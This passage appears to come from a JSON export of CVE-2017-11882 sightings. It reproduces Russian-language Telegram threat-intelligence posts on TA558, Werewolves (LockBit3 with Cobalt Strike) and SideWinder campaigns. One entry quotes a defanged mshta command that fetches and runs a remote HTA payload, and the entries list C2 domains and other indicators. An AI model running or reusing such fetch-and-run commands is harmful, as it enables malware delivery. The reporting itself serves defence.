\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u044b Microsoft Office, \u043a\u043e\u0442\u043e\u0440\u044b\u0435, \u0432 \u0441\u0432\u043e\u044e \u043e\u0447\u0435\u0440\u0435\u0434\u044c, \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u044e\u0442 \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u044e\u0442 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u041f\u041e.\n\n\u0412 \u0438\u0445 \u0430\u0440\u0441\u0435\u043d\u0430\u043b\u0435 \u043d\u0430\u0445\u043e\u0434\u044f\u0442\u0441\u044f \u0442\u0430\u043a\u0438\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b, \u043a\u0430\u043a AgentTesla, Remcos, njRAT \u0438 \u0434\u0440\u0443\u0433\u0438\u0435.\n\n\u041f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u044b\u0439 \u0440\u0435\u0433\u0438\u043e\u043d, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0431\u044b\u043b\u0430 \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u0430 TA558 \u0432 2018 \u0433\u043e\u0434\u0443, - \u041b\u0430\u0442\u0438\u043d\u0441\u043a\u0430\u044f \u0410\u043c\u0435\u0440\u0438\u043a\u0430, \u043d\u043e \u043f\u043e\u0437\u0436\u0435 \u043e\u043d\u0438 \u0440\u0430\u0441\u0448\u0438\u0440\u0438\u043b\u0438 \u0433\u0435\u043e\u0433\u0440\u0430\u0444\u0438\u044e \u0430\u0442\u0430\u043a. \u0418\u0445 \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u044b\u0435 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438 \u0447\u0430\u0441\u0442\u043e \u043f\u0440\u043e\u0432\u043e\u0434\u044f\u0442\u0441\u044f \u043d\u0430 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u044f\u0437\u044b\u043a\u0430\u0445, \u0447\u0442\u043e \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u043d\u0430 \u0433\u043b\u043e\u0431\u0430\u043b\u044c\u043d\u044b\u0439 \u043c\u0430\u0441\u0448\u0442\u0430\u0431 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0433\u0440\u0443\u043f\u043f\u044b.\n\n\u0412 \u043d\u043e\u0432\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445 F.A.C.C.T \u0432\u044b\u044f\u0432\u0438\u043b\u0430 \u0445\u0430\u0440\u0430\u043a\u0442\u0435\u0440\u043d\u044b\u0435 \u0434\u043b\u044f \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0438 \u043c\u0435\u0442\u043e\u0434\u044b \u0441\u0442\u0435\u0433\u0430\u043d\u043e\u0433\u0440\u0430\u0444\u0438\u0438 \u043f\u0440\u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0439 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0438, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432, \u0432 \u0438\u043c\u0435\u043d\u0430\u0445 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0431\u044b\u043b\u0438 \u0444\u0440\u0430\u0437\u044b Love \u0438 Kiss.\n\n\u0411\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e \u0438\u0437\u0443\u0447\u0435\u043d\u043d\u044b\u0445 \u043f\u0438\u0441\u0435\u043c \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043b\u0438 Agent Tesla\u00a0\u0438\u043b\u0438\u00a0Remcos. \n\n\u041f\u043e\u0441\u043b\u0435 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0412\u041f\u041e \u0437\u0430\u043a\u0440\u0435\u043f\u043b\u044f\u0435\u0442\u0441\u044f \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435, \u0441\u043a\u0440\u044b\u0432\u0430\u044f\u0441\u044c \u043e\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0438 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044f \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u043c\u0443 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u043d\u043e\u043c\u0443 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0443 \u0441\u043e \u0432\u0441\u0435\u043c\u0438 \u0432\u044b\u0442\u0435\u043a\u0430\u044e\u0449\u0438\u043c\u0438 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044f\u043c\u0438.\n\n\u0410\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0435 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044e\u0442 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c 2017 \u0433\u043e\u0434\u0430, \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043d\u0443\u044e \u0432 Microsoft Office (CVE-2017-11882), \u043d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u043e\u043d\u0430 \u0443\u0436\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430 \u0432 \u043d\u043e\u0432\u044b\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430. \n\n\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u044d\u0442\u043e, \u0442\u0430\u043a\u0438\u0435 \u0430\u0442\u0430\u043a\u0438 \u043f\u043e-\u043f\u0440\u0435\u0436\u043d\u0435\u043c\u0443 \u0443\u0441\u043f\u0435\u0448\u043d\u044b \u0438 \u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u044b, \u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0443\u0441\u0442\u0430\u0440\u0435\u0432\u0448\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u043d\u0430 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0441\u0438\u0441\u0442\u0435\u043c \u0443 \u043c\u043d\u043e\u0433\u0438\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043b\u0435\u0433\u043a\u043e \u043f\u0440\u043e\u043d\u0438\u043a\u0430\u0442\u044c \u0432 \u0438\u0445 \u0441\u0435\u0442\u0438.\n\n\u0412 \u0445\u043e\u0434\u0435 \u043e\u0434\u043d\u043e\u0439 \u0438\u0437 \u0430\u0442\u0430\u043a, \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 5 \u043c\u0430\u0440\u0442\u0430 2024, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0430\u0441\u044c \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u0430\u044f \u043f\u043e\u0447\u0442\u0430 expo@bcmsrll[.]com, \u043f\u0440\u0438\u0432\u044f\u0437\u0430\u043d\u043d\u0430\u044f \u043a \u0434\u043e\u043c\u0435\u043d\u0443 bcmsrll[.]com (\u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d 22.06.2023 \u0443 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 Namecheap Inc. \u0421\u0428\u0410).\n\n\u0415\u0433\u043e \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u0441\u0432\u044f\u0437\u0430\u0442\u044c \u0441 TA558, \u043d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u0433\u0440\u0443\u043f\u043f\u0430 \u0447\u0430\u0441\u0442\u043e \u0438\u0437\u043c\u0435\u043d\u044f\u0435\u0442 \u0441\u0432\u043e\u0438 TTPs, \u0447\u0442\u043e\u0431\u044b \u0438\u0437\u0431\u0435\u0436\u0430\u0442\u044c \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u0438 \u0437\u0430\u0442\u0440\u0443\u0434\u043d\u0438\u0442\u044c \u0430\u043d\u0430\u043b\u0438\u0437 \u0438\u0445 \u0434\u0435\u044f\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438.\n\n\u0412 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0435 \u0432\u0440\u0435\u043c\u044f TA558 \u043f\u0440\u043e\u044f\u0432\u043b\u044f\u0435\u0442 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u043d\u0443\u044e \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0431\u043e\u043b\u0435\u0435 \u0441\u043b\u043e\u0436\u043d\u044b\u0435 \u0442\u0435\u0445\u043d\u0438\u043a\u0438 \u043c\u0430\u0441\u043a\u0438\u0440\u043e\u0432\u043a\u0438 \u0438 \u044d\u043c\u0443\u043b\u044f\u0446\u0438\u0438 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u043e\u0433\u043e \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0438\u043c \u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u043e \u043e\u0431\u0445\u043e\u0434\u0438\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0437\u0430\u0449\u0438\u0442\u044b.\n\n\u041f\u043e\u0434\u0440\u043e\u0431\u043d\u0435\u0435 \u043e\u0431 \u0430\u0442\u0430\u043a\u0430\u0445, \u0430\u0442\u0440\u0438\u0431\u0443\u0446\u0438\u0438 \u0438 \u0438\u043d\u0434\u0438\u043a\u0430\u0442\u043e\u0440\u0430\u0445 \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u2014 \u0432 \u043d\u043e\u0432\u043e\u043c\u00a0\u043e\u0442\u0447\u0435\u0442\u0435 F.A.C.C.T.", "creation_timestamp": "2024-07-25T14:47:36.000000Z"}, {"uuid": "5c7afee3-114b-4a0e-bf6c-5bc25f8eda44", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "exploited", "source": "https://t.me/true_secator/5755", "content": "\u034f\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 F.A.C.C.T. \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0438 \u043e \u043d\u043e\u0432\u043e\u0439 \u0432\u043e\u043b\u043d\u0435 \u0430\u0442\u0430\u043a \u0441 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u043c\u0438 \u0440\u0430\u0441\u0441\u044b\u043b\u043a\u0430\u043c\u0438 \u0441\u043e \u0441\u0442\u043e\u0440\u043e\u043d\u044b Werewolves, \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u0443\u044e\u0449\u0435\u0439\u0441\u044f \u043d\u0430 \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0435 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0432\u0435\u0440\u0441\u0438\u0438 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b-\u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044f LockBit3 (Black), \u0441\u043e\u0431\u0440\u0430\u043d\u043d\u043e\u0439 \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 \u0443\u0442\u0435\u043a\u0448\u0435\u0433\u043e \u0431\u0438\u043b\u0434\u0435\u0440\u0430.\n\n\u0411\u0430\u043d\u0434\u0430 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0443\u0435\u0442 \u0442\u0435\u0445\u043d\u0438\u043a\u0443 \u0434\u0432\u043e\u0439\u043d\u043e\u0433\u043e \u0434\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043d\u0430 \u0436\u0435\u0440\u0442\u0432\u0443: \u043a\u0440\u043e\u043c\u0435 \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u0437\u0430 \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u043a\u0443 \u0434\u0430\u043d\u043d\u044b\u0445, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0432\u044b\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u044e\u0442 \u043d\u0430 \u0441\u0430\u0439\u0442\u0435 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e \u0442\u0435\u0445, \u043a\u0442\u043e \u043e\u0442\u043a\u0430\u0437\u0430\u043b\u0441\u044f \u043f\u043b\u0430\u0442\u0438\u0442\u044c \u0432\u044b\u043a\u0443\u043f, \u0441\u0443\u043c\u043c\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u043e\u0431\u044b\u0447\u043d\u043e \u0441\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 130 000 - 1 000 000$.\n\n\u0420\u0430\u043d\u0435\u0435 \u0432 \u0430\u043f\u0440\u0435\u043b\u0435 \u044d\u0442\u043e\u0433\u043e \u0433\u043e\u0434\u0430 \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u0438 \u0437\u0430\u0441\u0432\u0435\u0442\u0438\u043b\u0438, \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u044f \u043c\u0430\u0441\u0441\u043e\u0432\u044b\u0435 \u0440\u0430\u0441\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 \u0442\u0435\u043c\u0443 \u0432\u0435\u0441\u0435\u043d\u043d\u0435\u0433\u043e \u043f\u0440\u0438\u0437\u044b\u0432\u0430 \u0438 \u0434\u043e\u0441\u0443\u0434\u0435\u0431\u043d\u044b\u0445 \u043f\u0440\u0435\u0442\u0435\u043d\u0437\u0438\u0439.\n\n\u0426\u0435\u043b\u044f\u043c\u0438 \u043d\u043e\u0432\u044b\u0445 \u0430\u0442\u0430\u043a \u0441\u0442\u0430\u043b\u0438 \u0440\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u0438\u0435 \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u044b\u0435 \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u044f\u0442\u0438\u044f, \u0442\u0435\u043b\u0435\u043a\u043e\u043c\u043c\u0443\u043d\u0438\u043a\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0435 \u0438 IT-\u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438, \u0444\u0438\u043d\u0430\u043d\u0441\u043e\u0432\u044b\u0435 \u0438 \u0441\u0442\u0440\u0430\u0445\u043e\u0432\u044b\u0435 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438.\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0441\u043e\u0437\u0434\u0430\u043b\u0438 \u0444\u0435\u0439\u043a\u043e\u0432\u044b\u0439 \u0441\u0430\u0439\u0442 \u043a\u0440\u0443\u043f\u043d\u043e\u0433\u043e \u0440\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u043e\u0433\u043e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f \u0441\u043f\u0435\u0446\u0442\u0435\u0445\u043d\u0438\u043a\u0438, \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u044d\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u0432 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u043e\u0440\u0442\u0430\u043b\u0430 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e HTTrack Website Copier. \u041e\u0442\u043b\u0438\u0447\u0438\u0435 \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u043b\u043e\u0441\u044c \u043b\u0438\u0448\u044c \u0432 \u0434\u043e\u043c\u0435\u043d\u043d\u043e\u043c \u0438\u043c\u0435\u043d\u0438: \u0443 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b\u044c\u043d\u043e\u0433\u043e - com, \u0443 \u0444\u0435\u0439\u043a\u0430 - ru.\n\n\u041f\u0438\u0441\u044c\u043c\u0430 \u0441 \u0442\u0435\u043c\u0430\u043c\u0438 \u00ab\u0414\u043e\u0441\u0443\u0434\u0435\u0431\u043d\u0430\u044f \u043f\u0440\u0435\u0442\u0435\u043d\u0437\u0438\u044f\u00bb \u0438 \u00ab\u0420\u0435\u043a\u043b\u0430\u043c\u0430\u0446\u0438\u044f\u00bb \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043b\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0432\u043b\u043e\u0436\u0435\u043d\u0438\u044f, \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u044e\u0449\u0438\u0435 Cobalt Strike Beacon.\n\n\u041f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u0436\u0435\u0440\u0442\u0432\u0430 \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u0432\u043b\u043e\u0436\u0435\u043d\u043d\u044b\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u00ab\u0420\u0435\u043a\u043b\u0430\u043c\u0430\u0446\u0438\u044f.doc\u00bb \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u0442\u0441\u044f RTF-\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442, \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0449\u0438\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2017-11882.\n\n\u041d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e \u0436\u0435\u0440\u0442\u0432\u044b \u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f HTA (HTML Application): mshta https://iplis[.]ru/laydowngrenade.jpeg -> hxxp://vlasta-s[.]ru/logista.hta.\n\nHTA-\u0444\u0430\u0439\u043b \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 powershell-\u043a\u043e\u043c\u0430\u043d\u0434\u0443, \u0432 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0440\u0430\u0441\u043f\u0430\u043a\u043e\u0432\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f \u0448\u0435\u043b\u043b-\u043a\u043e\u0434 Cobalt Strike Stager, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u0442 \u0421obalt Strike Beacon, \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044f \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 watermark: 987654321 \u0438 C&C: poopy[.]aarkhipov[.]ru.", "creation_timestamp": "2024-05-20T18:30:06.000000Z"}, {"uuid": "b7dccf11-44c9-4b39-af30-61567f78c6d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "published-proof-of-concept", "source": "https://t.me/true_secator/6034", "content": "Blackberry \u0440\u0430\u0441\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u043d\u043e\u0432\u0443\u044e \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u0438 TTPs SideWinder, \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438, \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u043e\u0439 \u00a0\u043d\u0430 \u043f\u043e\u0440\u0442\u044b \u0438 \u043c\u043e\u0440\u0441\u043a\u0438\u0435 \u0441\u043e\u043e\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u0432 \u0418\u043d\u0434\u0438\u0439\u0441\u043a\u043e\u043c \u043e\u043a\u0435\u0430\u043d\u0435 \u0438 \u0421\u0440\u0435\u0434\u0438\u0437\u0435\u043c\u043d\u043e\u043c \u043c\u043e\u0440\u0435.\n\n\u0418\u043d\u0434\u0438\u0439\u0441\u043a\u0430\u044f SideWinder APT (Razor Tiger, Rattlesnake \u0438 T-APT-04) \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u0435\u0442 \u043f\u043e \u043a\u0440\u0430\u0439\u043d\u0435\u0439 \u043c\u0435\u0440\u0435 \u0441 2012 \u0438 \u0440\u0430\u043d\u0435\u0435 \u0431\u044b\u043b\u0430 \u0437\u0430\u043c\u0435\u0447\u0435\u043d\u0430 \u0432 \u043d\u0430\u043f\u0430\u0434\u0435\u043d\u0438\u044f\u0445 \u043d\u0430 \u0432\u043e\u0435\u043d\u043d\u044b\u0435, \u043f\u0440\u0430\u0432\u0438\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0435 \u0438 \u043a\u043e\u043c\u043c\u0435\u0440\u0447\u0435\u0441\u043a\u0438\u0435 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u041f\u0430\u043a\u0438\u0441\u0442\u0430\u043d\u0430, \u0410\u0444\u0433\u0430\u043d\u0438\u0441\u0442\u0430\u043d\u0430, \u041a\u0438\u0442\u0430\u044f \u0438 \u041d\u0435\u043f\u0430\u043b\u0430.\n\n\u0414\u043e\u043c\u0435\u043d\u044b \u0438 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u044b, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0435 \u0441 \u0434\u043e\u0441\u0442\u0430\u0432\u043a\u043e\u0439 \u043f\u0435\u0440\u0432\u043e\u0433\u043e \u044d\u0442\u0430\u043f\u0430, \u043f\u043e\u0434\u0440\u0430\u0437\u0443\u043c\u0435\u0432\u0430\u044e\u0442 \u0442\u0430\u0440\u0433\u0435\u0442\u0438\u043d\u0433 \u043d\u0430 \u041f\u0430\u043a\u0438\u0441\u0442\u0430\u043d, \u0415\u0433\u0438\u043f\u0435\u0442 \u0438 \u0428\u0440\u0438-\u041b\u0430\u043d\u043a\u0443.\n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0441\u0443\u0431\u0434\u043e\u043c\u0435\u043d\u044b \u0432\u0442\u043e\u0440\u043e\u0433\u043e \u044d\u0442\u0430\u043f\u0430, \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442 \u043d\u0430 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u0442\u0430\u0440\u0433\u0435\u0442\u0438\u043d\u0433 \u0432 \u043e\u0442\u043d\u043e\u0448\u0435\u043d\u0438\u0438 \u0411\u0430\u043d\u0433\u043b\u0430\u0434\u0435\u0448, \u041c\u044c\u044f\u043d\u043c\u044b, \u041d\u0435\u043f\u0430\u043b\u0430 \u0438 \u041c\u0430\u043b\u044c\u0434\u0438\u0432.\n\n\u041e\u0441\u043d\u043e\u0432\u044b\u0432\u0430\u044f\u0441\u044c \u043d\u0430 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0438\u0445 \u043d\u0430\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u044f\u0445, \u0446\u0435\u043b\u044c\u044e \u044d\u0442\u043e\u0439 \u043d\u043e\u0432\u043e\u0439 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438 SideWinder, \u043f\u043e \u0432\u0441\u0435\u0439 \u0432\u0438\u0434\u0438\u043c\u043e\u0441\u0442\u0438, \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0448\u043f\u0438\u043e\u043d\u0430\u0436 \u0438 \u0441\u0431\u043e\u0440 \u0440\u0430\u0437\u0432\u0435\u0434\u044b\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438.\n\nSideWinder \u0442\u0440\u0430\u0434\u0438\u0446\u0438\u043e\u043d\u043d\u043e \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u0435\u0442 \u043c\u0435\u0442\u043e\u0434\u044b \u0446\u0435\u043b\u0435\u0432\u043e\u0433\u043e \u0444\u0438\u0448\u0438\u043d\u0433\u0430 \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u043e\u0439 \u043f\u043e\u0447\u0442\u044b, \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0438 \u0431\u043e\u043a\u043e\u0432\u043e\u0439 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 DLL, \u0447\u0442\u043e\u0431\u044b \u0438\u0437\u0431\u0435\u0436\u0430\u0442\u044c \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u0438 \u0434\u043e\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0446\u0435\u043b\u0435\u0432\u044b\u0435 \u0438\u043c\u043f\u043b\u0430\u043d\u0442\u044b.\n\n\u041e\u0431\u044b\u0447\u043d\u043e \u0436\u0435\u0440\u0442\u0432\u0430 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u0442 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0441 \u043e\u0447\u0435\u043d\u044c \u043f\u043e\u0432\u0435\u0440\u0445\u043d\u043e\u0441\u0442\u043d\u044b\u043c \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435\u043c \u043d\u0430 VirusTotal \u0438 \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u0435\u0433\u043e, \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u044f \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u044d\u0442\u0430\u043f \u0446\u0435\u043f\u043e\u0447\u043a\u0438 \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u0438\u044f.\n\n\u0412\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u043e\u0447\u0435\u043d\u044c \u0442\u0449\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043b\u0435\u043d, \u0447\u0442\u043e\u0431\u044b \u0432\u044b\u0434\u0430\u0442\u044c \u0435\u0433\u043e \u0437\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 